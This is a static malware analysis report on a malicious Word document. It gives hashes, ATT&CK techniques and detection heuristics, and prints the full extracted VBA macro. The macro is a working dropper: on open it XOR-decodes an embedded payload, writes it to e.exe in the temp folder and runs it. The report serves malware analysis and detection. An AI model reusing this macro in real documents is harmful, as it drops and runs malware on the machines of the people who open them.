Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 87b734c5e07552de…

MALICIOUS

Office (OLE)

1006.6 KB Created: 2019-01-18 09:24:00 Authoring application: Microsoft Office Word First seen: 2019-02-04
MD5: f7635d778adf030085aff7526b20e9f3 SHA-1: 42e8dc6384d83094e48382c27b48c59e4d1ebb69 SHA-256: 87b734c5e07552de8aef276dbd7e4d75cd41312a300cbfd84bdf20cc6c96926b
300 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro with an AutoOpen function. This macro uses CreateObject to access the scripting.filesystemobject, reads the document's content, XORs it with a hardcoded key, and writes the result to a file named 'e.exe' in the temporary directory. It then executes this file using Shell(). This indicates a downloader or dropper functionality.

Heuristics 8

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 1,030,720 bytes but its declared streams total only 25,309 bytes — 1,005,411 bytes (98%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • OLE file has appended executable-looking payload bytes high OLE_APPENDED_PAYLOAD
    OLE compound file contains a large high-entropy region beyond the declared major streams and that region includes shellcode, PE, or loader API markers. This is a payload-carrier signal, not a specific CVE attribution by itself.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1173 bytes
SHA-256: 58c0f68b486c20ac55d7c323896fc184eef098d10b563efbf9b166c34d8b553c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
Attribute AutoOpen.VB_Description = "Макрос создан 18/01/2019 User"
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.AutoOpen"
Set f = CreateObject("scripting.filesystemobject"): Set e = f.getfile(ActiveDocument.Path & Application.PathSeparator & ActiveDocument.Name):
Dim a(1000000 - 1) As Byte: s = e.Size - UBound(a) - 1: Dim b(1375733) As Byte:
Open (ActiveDocument.Path & Application.PathSeparator & ActiveDocument.Name) For Binary As #7: Get #7, 1, b: Close #7:
Dim key(5) As Byte
key(0) = 1: key(1) = 2: key(2) = 3: key(3) = 4: key(4) = 5:
j = 0
For i = 0 To (e.Size - s - 1)
    If (5 = j) Then j = 0
    a(i) = b(s + i) Xor key(j)
    j = j + 1
Next
Open (f.getspecialfolder(2) + "\\e.exe") For Binary As #1: Put #1, 1, a: Close #1: Shell (f.getspecialfolder(2) + "\\e.exe")
End Sub

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